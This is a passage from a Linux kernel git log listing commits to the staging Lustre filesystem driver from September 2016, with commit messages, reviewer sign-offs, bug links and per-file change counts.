so that OST can use. NOTE: currently lu_fid::f_ver and obdo::o_parent_ver are not used on OFD device, and we use obdo::o_stripe_idx as filter_fid::ff_parent::f_ver and save it to the device. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1154 Reviewed-on: http://review.whamcloud.com/12902 Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 ++ drivers/staging/lustre/lustre/llite/lcommon_cl.c | 1 + drivers/staging/lustre/lustre/lov/lov_io.c | 3 +++ drivers/staging/lustre/lustre/osc/osc_io.c | 6 ++++-- 4 files changed, 10 insertions(+), 2 deletions(-) commit 96234ec51269417ec5c43bf13daede17cf4078ba Author: Bobi Jam Date: Sun Sep 18 16:38:43 2016 -0400 staging: lustre: clio: rename coo_attr_set to coo_attr_update coo_attr_set() is used to update object's attribute but its name makes confusion that people intuitively think that it is used to pass object's attribute down to server sides. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1154 Reviewed-on: http://review.whamcloud.com/12888 Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 8 ++++---- drivers/staging/lustre/lustre/llite/vvp_io.c | 2 +- drivers/staging/lustre/lustre/llite/vvp_object.c | 6 +++--- drivers/staging/lustre/lustre/lov/lov_object.c | 6 +++--- drivers/staging/lustre/lustre/lov/lovsub_object.c | 6 +++--- drivers/staging/lustre/lustre/obdclass/cl_object.c | 17 +++++++++-------- drivers/staging/lustre/lustre/osc/osc_io.c | 9 +++++---- drivers/staging/lustre/lustre/osc/osc_lock.c | 4 ++-- drivers/staging/lustre/lustre/osc/osc_object.c | 6 +++--- drivers/staging/lustre/lustre/osc/osc_request.c | 2 +- 10 files changed, 34 insertions(+), 32 deletions(-) commit 864d6a257e492e8c658a58841b35928d411151ab Author: Fan Yong Date: Sun Sep 18 16:38:42 2016 -0400 staging: lustre: llite: pack suppgid to MDS correctly The ll_lookup_it() may trigger IT_OPEN RPC to open a file by name. But at that time, the client does not know the target file's GID, so it cannot pack the necessary supplementary group ID in the RPC. Because of missing the supplementary group ID, the RPC maybe fail for open permission check on the MDS. Under such case, MDS should return the target file's GID, if the current thread on the client in the right group (according to the file's GID), the client will try the IT_OPEN RPC again with the right supplementary group ID. This patch is also helpful if some other(s) changed the file's GID after current RPC sent to the MDS with the suppgid as the original GID by race. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5423 Reviewed-on: http://review.whamcloud.com/12476 Reviewed-by: Lai Siyao Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 1 + drivers/staging/lustre/lustre/llite/namei.c | 36 ++++++++++++++++++++-- 2 files changed, 35 insertions(+), 2 deletions(-) commit 23ec6607e98bf78a864c5d3393aa07f4ece3ff3a Author: John L. Hammond Date: Sun Sep 18 16:38:41 2016 -0400 staging: lustre: remove lustre/include/linux/ Merge the contents of lustre/include/linux/lvfs.h into lustre/include/lvfs.h. Merge lustre/include/linux/lustre_user.h into lustre/include/lustre/lustre_user.h. Move lustre_compat25.h and lustre_patchless_compat.h from lustre/include/linux/ to lustre/include/ and rename lustre_compat25.h to lustre_compat.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/13271 Reviewed-by: Bob Glossman Reviewed-by: Amir Shehata Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 +- .../lustre/lustre/include/linux/lustre_compat25.h | 77 ---------------------- .../lustre/include/linux/lustre_patchless_compat.h | 66 ------------------- .../lustre/lustre/include/linux/lustre_user.h | 66 ------------------- .../lustre/lustre/include/lustre/lustre_user.h | 27 +++++++- .../staging/lustre/lustre/include/lustre_compat.h | 77 ++++++++++++++++++++++ .../lustre/include/lustre_patchless_compat.h | 66 +++++++++++++++++++ .../staging/lustre/lustre/include/obd_support.h | 2 +- drivers/staging/lustre/lustre/llite/file.c | 2 +- .../staging/lustre/lustre/llite/llite_internal.h | 3 + drivers/staging/lustre/lustre/llite/llite_mmap.c | 1 - drivers/staging/lustre/lustre/llite/rw.c | 1 - drivers/staging/lustre/lustre/llite/rw26.c | 1 - drivers/staging/lustre/lustre/obdclass/obd_mount.c | 2 +- 14 files changed, 176 insertions(+), 217 deletions(-) commit c658b69656bb3081e1cd4ba93d2f2d8626903716 Author: Liang Zhen Date: Sun Sep 18 16:38:40 2016 -0400 staging: lustre: libcfs: check mask returned by cpumask_of_node cpumask_of_node can return NULL if NUMA node is unavailable, in this case cfs_node_to_cpumask will try to copy from NULL and cause kernel panic. Signed-off-by: Liang Zhen Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5751 Reviewed-on: http://review.whamcloud.com/13207 Reviewed-by: Li Wei Reviewed-by: Bobi Jam Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/libcfs/linux/linux-cpu.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 6314ccb684857b8026f42a44a6dbc371548caae9 Author: Dmitry Eremin Date: Sun Sep 18 16:38:39 2016 -0400 staging: lustre: obd: change type of cl_conn_count to size_t Change type of cl_conn_count to size_t. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/13125 Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/ldlm/ldlm_lib.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 6d2f0127b2c6a4d518135fd014caa5be7c148eb1 Author: John L. Hammond Date: Sun Sep 18 16:38:38 2016 -0400 staging: lustre: llite: unlock inode size in ll_lov_setstripe_ea_info() In ll_lov_setstripe_ea_info() release the inode size lock on all appropriate exit paths. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6059 Reviewed-on: http://review.whamcloud.com/13167 Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Lai Siyao Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit a466ca4ed0291956235a01ed8ca0b7a5761977b7 Author: Andreas Dilger Date: Sun Sep 18 16:38:37 2016 -0400 staging: lustre: lprocfs: cleanup stats locking code Add comment blocks on lprocfs_stats_lock() and lprocfs_stats_unlock(). Move common NOPERCPU code out of the switch() statements to reduce code size and complexity, since it doesn't depend on the opc at all. Replace switch() in lprocfs_stats_unlock() with a simple if/else, since the lock opc was already checked in lprocfs_stats_lock(). Add an enum for the lprocfs_stats_lock() operations to make it clear what the valid values are and allow compiler checking. Signed-off-by: Andreas Dilger Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5946 Reviewed-on: http://review.whamcloud.com/12872 Reviewed-by: Bobi Jam Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/lprocfs_status.h | 132 ++++++++++++--------- 1 file changed, 74 insertions(+), 58 deletions(-) commit 6ffc4b3b35acf1a860c703fc0c665b2719f5a44b Author: Dmitry Eremin Date: Sun Sep 18 16:38:36 2016 -0400 staging: lustre: osc: change cl_extent_tax and *grants to unsigned Change the type accordant usage and remove warnings. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12386 Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/osc/osc_cache.c | 46 +++++++++++----------- .../staging/lustre/lustre/osc/osc_cl_internal.h | 2 +- drivers/staging/lustre/lustre/osc/osc_io.c | 4 +- drivers/staging/lustre/lustre/osc/osc_request.c | 4 +- 5 files changed, 30 insertions(+), 28 deletions(-) commit 7715c63692efd92db4dd3bd7748a92edca902276 Author: Bobi Jam Date: Sun Sep 18 16:38:35 2016 -0400 staging: lustre: osc: osc_object_ast_clear() LBUG An OSC object could be destroyed with AGL locks waiting for granted, so we'd get rid of the osc_object_ast_clear() assertion that its dlm locks all getting granted. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6042 Reviewed-on: http://review.whamcloud.com/13163 Reviewed-by: Jinshan Xiong Reviewed-by: Niu Yawei Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_object.c | 1 - 1 file changed, 1 deletion(-) commit bc875120b983bf7b297720ce384d6e20f0068ba8 Author: Alexander Boyko Date: Sun Sep 18 16:38:18 2016 -0400 staging: lustre: mgc: add nid iteration mgc_apply_recover_logs use only first nid from entry, this could be the problem for a cluster with several network address for a one node. Signed-off-by: Alexander Boyko Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5950 Xyratex-bug-id: MRP-2255 Reviewed-on: http://review.whamcloud.com/12829 Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Reviewed-by: Ann Koehler Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mgc/mgc_request.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit d09cfb00612f2add6eb05ae7a17d2bf2a4d317ff Author: Alexander Boyko Date: Sun Sep 18 16:38:34 2016 -0400 staging: lustre: ptlrpc: fix race between connect vs resend Buggy code at ptlrpc_connect_interpret() finish: rc = ptlrpc_import_recovery_state_machine(imp); ... Set import connection flags When import has FULL state ptlrpc_import_recovery_state_machine() wakeup all waiters on import and all delayed request, which was resented. And it could happened that request was send without updated flags and AT is disabled. If such request is in progress on the server, server drop the new instance, and could do early reply for it. But this early reply confuse client, cause it wait real reply(no AT for this request). Client try to touch buffer outside reply and got EPROTO error. The same bug existed for initital connect too. Import became FULL before import connection flags was set. Signed-off-by: Alexander Boyko Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5528 Xyratex-bug-id: MRP-2034 Reviewed-on: http://review.whamcloud.com/11723 Reviewed-by: Li Wei Reviewed-by: Alexander Boyko Reviewed-by: Liang Zhen Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/import.c | 307 ++++++++++++++------------ drivers/staging/lustre/lustre/ptlrpc/niobuf.c | 28 ++- 2 files changed, 179 insertions(+), 156 deletions(-) commit 01cd98ffcf2ff56fc54781cc608f4043b813f54a Author: John L. Hammond Date: Sun Sep 18 16:38:33 2016 -0400 staging: lustre: lov: flatten struct lov_stripe_md Flatten out the lsm_wire struct from the middle of struct lov_stripe_md and remove the member name macros. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5814 Reviewed-on: http://review.whamcloud.com/12581 Reviewed-by: Bobi Jam Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 30 ++++++---------------- .../staging/lustre/lustre/lov/lov_cl_internal.h | 4 +-- 2 files changed, 10 insertions(+), 24 deletions(-) commit 8b915c1ef5ba61127f364b5cff5f7315d9ded197 Author: Jinshan Xiong Date: Sun Sep 18 16:38:32 2016 -0400 staging: lustre: ldlm: move LDLM_GID_ANY to lustre_dlm.h lustre_idl.h only includes wire data; lustre_dlm.h is the right place for LDLM_GID_ANY. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6028 Reviewed-on: http://review.whamcloud.com/13074 Reviewed-by: Bobi Jam Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 2 -- drivers/staging/lustre/lustre/include/lustre_dlm.h | 5 +++++ 2 files changed, 5 insertions(+), 2 deletions(-) commit 26ad0dc30eee1bd27c2f712f564bc2a217f9fff9 Author: Dmitry Eremin Date: Sun Sep 18 16:38:31 2016 -0400 staging: lustre: ptlrpc: fix comparison between signed and unsigned Change return type and size argiments of lustre_msg_hdr_size(), lustre_msg_buf{len,count}() and req_capsule_*_size() to __u32. Change type of req_format->rf_idx and req_format->rf_fields.nr to size_t. Also return zero for incorrect message magic instead of -EINVAL. This will be more robust because of few of them after LASSERTF(0, "...") and will not be returned. In the rest places it return zero size instead of huge number after implicit unsigned conversion. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12475 Reviewed-by: James Simmons Reviewed-by: Fan Yong Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_net.h | 34 ++++----- .../lustre/lustre/include/lustre_req_layout.h | 20 +++--- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 4 +- drivers/staging/lustre/lustre/ptlrpc/layout.c | 83 +++++++++++----------- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 62 ++++++++-------- 5 files changed, 101 insertions(+), 102 deletions(-) commit a33fdc0d75dec2dfa454bcdd93d6d6cebfcb34f9 Author: Bobi Jam Date: Sun Sep 18 16:38:30 2016 -0400 staging: lustre: clio: add coo_getstripe interface Use cl_object_operations::coo_getstripe() to handle LL_IOC_LOV_GETSTRIPE ops. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5823 Reviewed-on: http://review.whamcloud.com/12452 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 7 ++++ drivers/staging/lustre/lustre/llite/file.c | 38 ++++++++++---------- .../staging/lustre/lustre/lov/lov_cl_internal.h | 6 ++++ drivers/staging/lustre/lustre/lov/lov_internal.h | 2 -- drivers/staging/lustre/lustre/lov/lov_obd.c | 3 -- drivers/staging/lustre/lustre/lov/lov_object.c | 35 ++++++++++++++----- drivers/staging/lustre/lustre/lov/lov_pack.c | 40 ++++++++++++++-------- drivers/staging/lustre/lustre/obdclass/cl_object.c | 21 ++++++++++++ 8 files changed, 105 insertions(+), 47 deletions(-) commit fdeb14fa6b4692abd093dd3365daf2ed7e7d5d06 Author: Dmitry Eremin Date: Sun Sep 18 16:38:29 2016 -0400 staging: lustre: obdclass: change cl_fault_io->ft_nob to size_t Change the type accordant usage. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12380 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 4 ++-- drivers/staging/lustre/lustre/llite/rw26.c | 4 ++-- drivers/staging/lustre/lustre/obdclass/cl_page.c | 4 ++-- drivers/staging/lustre/lustre/obdecho/echo_client.c | 2 +- drivers/staging/lustre/lustre/osc/osc_io.c | 4 ++-- 5 files changed, 9 insertions(+), 9 deletions(-) commit 855b5da50d2894fa2d8af5408203b307593b4dcd Author: Dmitry Eremin Date: Sun Sep 18 16:38:28 2016 -0400 staging: lustre: obd: change brw_page->count to unsigned Pages count is unsigned. So, change the type accordant usage. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12378 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/osc/osc_cache.c | 10 ++++++---- drivers/staging/lustre/lustre/osc/osc_cl_internal.h | 2 +- 3 files changed, 8 insertions(+), 6 deletions(-) commit a5d604d76332dc020a1e010c8837f9bd349c177b Author: Nathaniel Clark Date: Sun Sep 18 16:38:27 2016 -0400 staging: lustre: ldlm: Recalculate interval in ldlm_pool_recalc() Instead of rechecking a static value, recalculate to see if pool stats need to be updated. Add newline so message will print instead of warning about missing newline. Signed-off-by: Nathaniel Clark Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4536 Reviewed-on: http://review.whamcloud.com/12547 Reviewed-by: Lai Siyao Reviewed-by: Andreas Dilger Reviewed-by: Jian Yu Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_pool.c | 38 +++++++++++++++----------- 1 file changed, 22 insertions(+), 16 deletions(-) commit d333597a246b5d9fa8d1ff1dde45f74debc118d9 Author: Amir Shehata Date: Sun Sep 18 16:38:26 2016 -0400 staging: lustre: ptlrpc: Suppress error message when imp_sec is freed There is a race condition on client reconnect when the import is being destroyed. Some outstanding client bound requests are being processed when the imp_sec has alread been freed. Ensure to suppress the error message in import_sec_validate_get() in that case Signed-off-by: Amir Shehata Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3353 Reviewed-on: http://review.whamcloud.com/10200 Reviewed-by: Andreas Dilger Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/sec.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) commit a21e4b903d8ce19831dd504d8bfc4c99e85c2624 Author: Bob Glossman Date: Sun Sep 18 16:38:25 2016 -0400 staging: lustre: obdclass: eliminate NULL error return Always return an ERR_PTR() on errors, never return a NULL, in lu_object_find_slice(). Also clean up callers who no longer need special case handling of NULL returns. Signed-off-by: Bob Glossman Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5858 Reviewed-on: http://review.whamcloud.com/12554 Reviewed-by: Dmitry Eremin Reviewed-by: Fan Yong Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/lu_object.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 0ae0d5eb33c04f9da9df520e53f4c7f1f56bdc80 Author: Dmitry Eremin Date: Sun Sep 18 16:38:24 2016 -0400 staging: lustre: obdclass: change loop indexes to unsigned Cleanup warnings about comparison between signed and unsigned. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12387 Reviewed-by: Bob Glossman Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/cl_io.c | 6 +++--- drivers/staging/lustre/lustre/obdclass/cl_object.c | 10 +++++----- 2 files changed, 8 insertions(+), 8 deletions(-) commit 5e6bcb48b6b0c752132a393c98d19912564984b7 Author: Bobi Jam Date: Sun Sep 18 16:38:23 2016 -0400 staging: lustre: fiemap: set FIEMAP_EXTENT_LAST correctly When we've collected enough extents as user requested, we'd check one further to decide whether we've reached the last extent of the file. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5933 Reviewed-on: http://review.whamcloud.com/12781 Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lov/lov_obd.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit c86a6c1189a182c3b2670bbc91c3e66123c0cdba Author: Alexey Lyashkov Date: Sun Sep 18 16:38:22 2016 -0400 staging: lustre: ldlm: evict clients returning errors on ASTs To test proper behavior of clients returning errors on ASTs we can induce a failure with setting OBD_FAIL_LDLM_BL_CALLBACK_NET. Handle the new additonal case of cfs_fail_err being set as well so that the cfs_fail_err can be sent back in a reply. Signed-off-by: Alexey Lyashkov Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5581 Xyratex-bug-id: MRP-2041 Reviewed-on: http://review.whamcloud.com/11752 Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_lockd.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 8971ee5bc1ab24eb63ac379b7bd7e16619862834 Author: Yoshifumi Uemura Date: Sun Sep 18 16:38:21 2016 -0400 staging: lustre: mdc: Proper accessing struct lov_user_md In mdc_setattr_pack() access the members of struct lov_user_md by little endian byte order. Signed-off-by: Yoshifumi Uemura Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5889 Reviewed-on: http://review.whamcloud.com/12683 Reviewed-by: Dmitry Eremin Reviewed-by: James Simmons Reviewed-by: Yang Sheng Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_lib.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ba40ae79f1f7c104b4bd2fcc5df2c949e379aa0d Author: Dmitry Eremin Date: Sun Sep 18 16:38:20 2016 -0400 staging: lustre: obdclass: lu_htable_order() return type to long Change the type accordant usage. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12385 Reviewed-by: Bob Glossman Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/lu_object.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 816afc79f8370841c2f2b460cf93ba6ab74f99d7 Author: Bob Glossman Date: Sun Sep 18 16:38:19 2016 -0400 staging: lustre: llite: fix dup flags names The name 'xattr' is used for two different ll_flags bits. Change the names to be distinct and different, reflecting the names of the bits used in LL_SBI_xbitnamex #defines. Signed-off-by: Bob Glossman Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5586 Reviewed-on: http://review.whamcloud.com/12892 Reviewed-by: Minh Diep Reviewed-by: Jian Yu Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_internal.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2ce3647e9aba981f968f42f75f6b0af79332fee3 Author: frank zago Date: Sun Sep 18 16:38:17 2016 -0400 staging: lustre: llog: prevent out-of-bound index llog_process_thread() can be called from llog_cat_process_cb with an index already out of bound, leading to the following crash: LustreError: 3773:0:(llog.c:310:llog_process_thread()) ASSERTION(index <= last_index + 1 ) failed: LustreError: 3773:0:(llog.c:310:llog_process_thread()) LBUG #0 [ffff8801144bf900] machine_kexec at ffffffff81038f3b #1 [ffff8801144bf960] crash_kexec at ffffffff810c5d82 #2 [ffff8801144bfa30] panic at ffffffff8152798a #3 [ffff8801144bfab0] lbug_with_loc at ffffffffa02f8eeb [libcfs] #4 [ffff8801144bfad0] llog_process_thread at ffffffffa0413fff [obdclass] #5 [ffff8801144bfb80] llog_process_or_fork at ffffffffa041585f [obdclass] #6 [ffff8801144bfbd0] llog_cat_process_cb at ffffffffa0418612 [obdclass] #7 [ffff8801144bfc30] llog_process_thread at ffffffffa0413c22 [obdclass] #8 [ffff8801144bfce0] llog_process_or_fork at ffffffffa041585f [obdclass] #9 [ffff8801144bfd30] llog_cat_process_or_fork at ffffffffa0416b9d [obdclass] If index is too big, simply return success. Signed-off-by: frank zago Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5635 Reviewed-on: http://review.whamcloud.com/12161 Reviewed-by: Jinshan Xiong Reviewed-by: Patrick Farrell Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/llog.c | 4 ++++ 1 file changed, 4 insertions(+) commit 50932a2280970723a3a4f58cff929c92f65fc60b Author: Andreas Dilger Date: Sun Sep 18 16:38:16 2016 -0400 staging: lustre: ptlrpc: quiet errors on initial connection It may be that a client or MDS is trying to connect to a target (OST or peer MDT) before that target is finished setup. Rather than spamming the console logs during initial connection, only print a console error message if there are repeated failures trying to connect to the target, which may indicate an error on that node. Signed-off-by: Andreas Dilger Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3456 Reviewed-on: http://review.whamcloud.com/10057 Reviewed-by: Bobi Jam Reviewed-by: Bob Glossman Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 52 ++++++++++++---------- .../staging/lustre/lustre/ptlrpc/ptlrpc_internal.h | 2 +- 2 files changed, 30 insertions(+), 24 deletions(-) commit 08fd034670b505c0ce1685404acaed0a4c073ef9 Author: Jinshan Xiong Date: Sun Sep 18 16:38:15 2016 -0400 staging: lustre: ldlm: revert the changes for lock canceling policy The changes for LRU lock policy was introduced by commit bfae5a4e, where I was trying to revise the policy to pick locks for canceling. However, this caused two problems as mentioned in LU-5727. The first problem is that the lock can only be picked for canceling only if the number of LRU locks is over preset LRU number AND it's aged; the second problem is that mdc_cancel_weight() tends to not cancel OPEN locks, therefore open locks can be kept forever and finally exhausts memory on the MDT side. The commit 7b2d26b0 ("revert changes to ldlm_cancel_aged_policy") fixed the first problem. This patch will revert the rest of changes related to LRU policy revise. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5727 Reviewed-on: http://review.whamcloud.com/12733 Reviewed-by: Niu Yawei Reviewed-by: Bobi Jam Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 6 ------ 1 file changed, 6 deletions(-) commit eda3565c3654fe98b2f7b61db0ad0307672fa25d Author: Niu Yawei Date: Sun Sep 18 16:38:14 2016 -0400 staging: lustre: recovery: don't replay closed open To avoid scanning the replay open list every time in the ptlrpc_free_committed(), the fix of LU-2613 (4322e0f9) changed the ptlrpc_free_committed() to skip the open list unless the import generation is changed. That introduced a race which could make a closed open being replayed: 1. Application calls ll_close_inode_openhandle()-> mdc_close(), to close file, rq_replay is cleared, but the open request is still on the imp_committed_list; 2. Before the md_clear_open_replay_data() is called for close, client start replay, and that closed open will be replayed mistakenly; 3. Open replay interpret callback (mdc_replay_open) could race with the mdc_clear_open_replay_data() at the end; This patch fix the ptlrpc_free_committed() to make sure the open list is scanned on recovery to prevent the closed open request from being replayed. Signed-off-by: Niu Yawei Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5507 Reviewed-on: http://review.whamcloud.com/12667 Reviewed-by: Lai Siyao Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 347c7aed9e1b009a0d1bc7defdf93d3a760817a0 Author: Henri Doreau Date: Sun Sep 18 16:38:13 2016 -0400 staging: lustre: changelog: Proper record remapping Fixed changelog_remap_rec() to correctly remap records emitted with jobid_var=disabled, i.e. delivered by new servers but with no jobid field. Signed-off-by: Henri Doreau Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5862 Reviewed-on: http://review.whamcloud.com/12574 Reviewed-by: Andreas Dilger Reviewed-by: Robert Read Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_user.h | 66 ++++++++++++++-------- 1 file changed, 44 insertions(+), 22 deletions(-) commit 3f062072a50f3a2dd4b11ca20e65ea7c3fd8c086 Author: John L. Hammond Date: Sun Sep 18 16:38:12 2016 -0400 staging: lustre: llite: remove ll_objects_destroy() Remove ll_objects_destroy(). This function is not needed for interoperability with servers of version 2.4 or higher. Remove the then unused function lov_destroy() and its supporting functions. Remove the lsm_destroy method of struct lsm_operations. Remove the unused struct lov_stripe_md, MD export, and capa parameters from obd_destroy() and its implementations. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5814 Reviewed-on: http://review.whamcloud.com/12618 Reviewed-by: Andreas Dilger Reviewed-by: Jinshan Xiong Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 5 +- drivers/staging/lustre/lustre/include/obd_class.h | 6 +- drivers/staging/lustre/lustre/llite/file.c | 6 -- .../staging/lustre/lustre/llite/llite_internal.h | 2 - drivers/staging/lustre/lustre/llite/namei.c | 73 -------------------- drivers/staging/lustre/lustre/lov/lov_ea.c | 8 